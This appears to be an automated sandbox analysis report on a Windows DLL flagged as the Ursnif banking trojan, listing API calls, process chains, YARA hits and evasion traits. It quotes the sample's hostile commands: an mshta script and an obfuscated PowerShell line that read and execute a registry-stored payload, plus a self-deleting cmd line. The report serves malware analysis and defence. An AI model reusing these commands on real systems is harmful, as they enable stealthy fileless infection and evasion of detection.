Source: C:\Windows\System32\control.exe Code function: 34_2_00DB1248 34_2_00DB1248
Source: C:\Windows\System32\control.exe Code function: 34_2_00DB4240 34_2_00DB4240
Source: C:\Windows\System32\control.exe Code function: 34_2_00DCC220 34_2_00DCC220
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC73EC 34_2_00DC73EC
Source: C:\Windows\System32\control.exe Code function: 34_2_00DA34D8 34_2_00DA34D8
Source: C:\Windows\System32\control.exe Code function: 34_2_00DCD4D4 34_2_00DCD4D4
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC34C0 34_2_00DC34C0
Source: C:\Windows\System32\control.exe Code function: 34_2_00DB6CA4 34_2_00DB6CA4
Source: C:\Windows\System32\control.exe Code function: 34_2_00DCAC50 34_2_00DCAC50
Source: C:\Windows\System32\control.exe Code function: 34_2_00DBC46C 34_2_00DBC46C
Source: C:\Windows\System32\control.exe Code function: 34_2_00DAD404 34_2_00DAD404
Source: C:\Windows\System32\control.exe Code function: 34_2_00DA3C3C 34_2_00DA3C3C
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC2428 34_2_00DC2428
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC7DB4 34_2_00DC7DB4
Source: C:\Windows\System32\control.exe Code function: 34_2_00DA9D1C 34_2_00DA9D1C
Source: C:\Windows\System32\control.exe Code function: 34_2_00DBCD1C 34_2_00DBCD1C
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC0530 34_2_00DC0530
Source: C:\Windows\System32\control.exe Code function: 34_2_00DBBED0 34_2_00DBBED0
Source: C:\Windows\System32\control.exe Code function: 34_2_00DB2EE8 34_2_00DB2EE8
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC5684 34_2_00DC5684
Source: C:\Windows\System32\control.exe Code function: 34_2_00DA1EA8 34_2_00DA1EA8
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC1E5C 34_2_00DC1E5C
Source: C:\Windows\System32\control.exe Code function: 34_2_00DB8670 34_2_00DB8670
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC1638 34_2_00DC1638
Source: C:\Windows\System32\control.exe Code function: 34_2_00DB4F5C 34_2_00DB4F5C
Source: C:\Windows\System32\control.exe Code function: 34_2_00DB6F78 34_2_00DB6F78
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC772C 34_2_00DC772C
Source: C:\Windows\System32\control.exe Code function: 34_2_00DA572C 34_2_00DA572C
Contains functionality to launch a process as a different user
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F78E57 CreateProcessAsUserW, 2_2_04F78E57
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A14321 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 2_2_04A14321
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A16D0A NtMapViewOfSection, 2_2_04A16D0A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A1190C GetProcAddress,NtCreateSection,memset, 2_2_04A1190C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A184C1 NtQueryVirtualMemory, 2_2_04A184C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F674AE NtQueryInformationProcess, 2_2_04F674AE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F6C431 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 2_2_04F6C431
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F76DE0 memcpy,memcpy,memcpy,NtUnmapViewOfSection,NtClose,memset, 2_2_04F76DE0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F7BE80 NtMapViewOfSection, 2_2_04F7BE80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F70782 memset,NtWow64QueryInformationProcess64,GetProcAddress,NtWow64QueryInformationProcess64, 2_2_04F70782
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F700DC RtlInitializeCriticalSection,RtlInitializeCriticalSection,memset,RtlInitializeCriticalSection,CreateMutexA,GetLastError,GetLastError,CloseHandle,GetUserNameA,GetUserNameA,RtlAllocateHeap,GetUserNameA,NtQueryInformationProcess,OpenProcess,GetLastError,CloseHandle,GetShellWindow,GetWindowThreadProcessId,memcpy,CreateEventA,CreateEventA,RtlAllocateHeap,OpenEventA,CreateEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA, 2_2_04F700DC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F7A806 NtWow64ReadVirtualMemory64,GetProcAddress,NtWow64ReadVirtualMemory64, 2_2_04F7A806
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F761AE GetProcAddress,NtWow64QueryInformationProcess64,StrRChrA, 2_2_04F761AE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F77950 NtAllocateVirtualMemory,NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError, 2_2_04F77950
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F6710A GetProcAddress,NtCreateSection,memset, 2_2_04F6710A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F72331 GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, 2_2_04F72331
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F75312 NtWriteVirtualMemory,VirtualProtectEx,NtWriteVirtualMemory,RtlNtStatusToDosError,SetLastError, 2_2_04F75312
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F664C4 memset,NtQueryInformationProcess, 2_2_04F664C4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F636BB NtGetContextThread,RtlNtStatusToDosError, 2_2_04F636BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F6B7D5 NtQueryInformationThread,GetLastError,RtlNtStatusToDosError, 2_2_04F6B7D5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F6D77A NtQueryKey,NtQueryKey,lstrlenW,NtQueryKey,lstrcpyW, 2_2_04F6D77A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F610C7 OpenProcess,GetLastError,GetProcAddress,NtSetInformationProcess,RtlNtStatusToDosError,GetProcAddress,GetProcAddress,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle, 2_2_04F610C7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F73829 NtQuerySystemInformation,RtlNtStatusToDosError, 2_2_04F73829
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F7EAC5 memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError, 2_2_04F7EAC5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F75220 NtReadVirtualMemory,RtlNtStatusToDosError,SetLastError, 2_2_04F75220
Source: C:\Windows\System32\control.exe Code function: 34_2_00DA40C0 NtReadVirtualMemory, 34_2_00DA40C0
Source: C:\Windows\System32\control.exe Code function: 34_2_00DB583C NtCreateSection, 34_2_00DB583C
Source: C:\Windows\System32\control.exe Code function: 34_2_00DB41D8 NtMapViewOfSection, 34_2_00DB41D8
Source: C:\Windows\System32\control.exe Code function: 34_2_00DCA148 NtQueryInformationProcess, 34_2_00DCA148
Source: C:\Windows\System32\control.exe Code function: 34_2_00DAAA6C NtSetInformationProcess,CreateRemoteThread,ResumeThread,FindCloseChangeNotification, 34_2_00DAAA6C
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC04CC NtAllocateVirtualMemory, 34_2_00DC04CC
Source: C:\Windows\System32\control.exe Code function: 34_2_00DA65E4 NtQueryInformationToken,NtQueryInformationToken,NtClose, 34_2_00DA65E4
Source: C:\Windows\System32\control.exe Code function: 34_2_00DA6D24 NtWriteVirtualMemory, 34_2_00DA6D24
Source: C:\Windows\System32\control.exe Code function: 34_2_00DA9660 NtSetContextThread,NtUnmapViewOfSection,NtClose, 34_2_00DA9660
Source: C:\Windows\System32\control.exe Code function: 34_2_00DDF00C NtProtectVirtualMemory,NtProtectVirtualMemory, 34_2_00DDF00C
Source: C:\Windows\System32\control.exe Code function: 34_2_00DDF36C NtProtectVirtualMemory, 34_2_00DDF36C
Sample file is different than original file name gathered from version info
Source: lokvQRcUe0.dll Binary or memory string: OriginalFilenamemyfile.exe$ vs lokvQRcUe0.dll
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
PE file contains strange resources
Source: lokvQRcUe0.dll Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: lokvQRcUe0.dll ReversingLabs: Detection: 48%
Source: lokvQRcUe0.dll Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\loaddll32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll"
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll",#1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6352 -s 272
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6352 -s 396
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6352 -s 424
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Kxac='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Kxac).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ltqefvure -value gp; new-alias -name vftdnxvda -value iex; vftdnxvda ([System.Text.Encoding]::ASCII.GetString((ltqefvure "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\b5khtopv.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE691.tmp" "c:\Users\user\AppData\Local\Temp\CSC7CF5F35C720441118B71E863AB44B87A.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kikzslfg.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESFE5F.tmp" "c:\Users\user\AppData\Local\Temp\CSC72CD5E3A7BFC47C08453C5B847B47E88.TMP"
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\lokvQRcUe0.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ltqefvure -value gp; new-alias -name vftdnxvda -value iex; vftdnxvda ([System.Text.Encoding]::ASCII.GetString((ltqefvure "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\b5khtopv.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kikzslfg.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE691.tmp" "c:\Users\user\AppData\Local\Temp\CSC7CF5F35C720441118B71E863AB44B87A.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESFE5F.tmp" "c:\Users\user\AppData\Local\Temp\CSC72CD5E3A7BFC47C08453C5B847B47E88.TMP" Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\lokvQRcUe0.dll
Source: C:\Windows\explorer.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220526 Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC52.tmp Jump to behavior
Source: classification engine Classification label: mal100.bank.troj.evad.winDLL@27/28@0/1
Source: C:\Windows\System32\mshta.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A168BD CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification, 2_2_04A168BD
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll",#1
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4588:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6024:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6352
Source: C:\Windows\System32\control.exe Mutant created: \Sessions\1\BaseNamedObjects\{98D9F3EF-1790-8A6E-614C-3B5E25409F72}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\{A88D448E-E714-1A0D-B15C-0BEE75506F02}
Source: C:\Windows\SysWOW64\rundll32.exe Mutant created: \Sessions\1\BaseNamedObjects\{5034037C-6F7B-0272-7984-1356BDF8F7EA}
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: uwGXyM.pdb source: loaddll32.exe, 00000000.00000000.249261559.000000000040D000.00000002.00000001.01000000.00000003.sdmp, lokvQRcUe0.dll
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000002.00000003.403089755.00000000063E0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.396843760.0000000006330000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000002.00000003.403089755.00000000063E0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.396843760.0000000006330000.00000004.00001000.00020000.00000000.sdmp
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A17EA0 push ecx; ret 2_2_04A17EA9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A1828B push ecx; ret 2_2_04A1829B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F63495 push ecx; mov dword ptr [esp], 00000002h 2_2_04F63496
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F83D9F push ecx; ret 2_2_04F83DAF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F838A0 push ecx; ret 2_2_04F838A9
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC4492 push ss; ret 34_2_00DC4493
PE file contains sections with non-standard names
Source: lokvQRcUe0.dll Static PE information: section name: .erloc
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F6EC00 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey, 2_2_04F6EC00
PE file contains an invalid checksum
Source: lokvQRcUe0.dll Static PE information: real checksum: 0x79835 should be: 0x7114c
Source: b5khtopv.dll.28.dr Static PE information: real checksum: 0x0 should be: 0x671e
Source: kikzslfg.dll.30.dr Static PE information: real checksum: 0x0 should be: 0x41ac
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\b5khtopv.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kikzslfg.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\b5khtopv.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kikzslfg.cmdline Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\b5khtopv.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\kikzslfg.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Yara detected Ursnif
Source: Yara match File source: 00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294681357.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294564948.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.408736097.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.407678456.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294395671.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.407599329.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294731571.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.338694096.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294789206.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000003.402164003.000002456F5AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339835630.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294648025.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294608365.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294468322.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.340707199.000000000533C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6380, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 2388, type: MEMORYSTR
Source: Yara match File source: 2.3.rundll32.exe.4d994a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d994a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.rundll32.exe.4a10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.543a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.54e6b48.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.54b94a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.543a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000002.454256752.00000000051BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.454031315.0000000004F60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339689659.000000000543A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.406864821.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.405146209.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.404521640.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339724690.00000000054B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.452738390.0000000004D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Self deletion via cmd delete
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\lokvQRcUe0.dll
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\lokvQRcUe0.dll
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
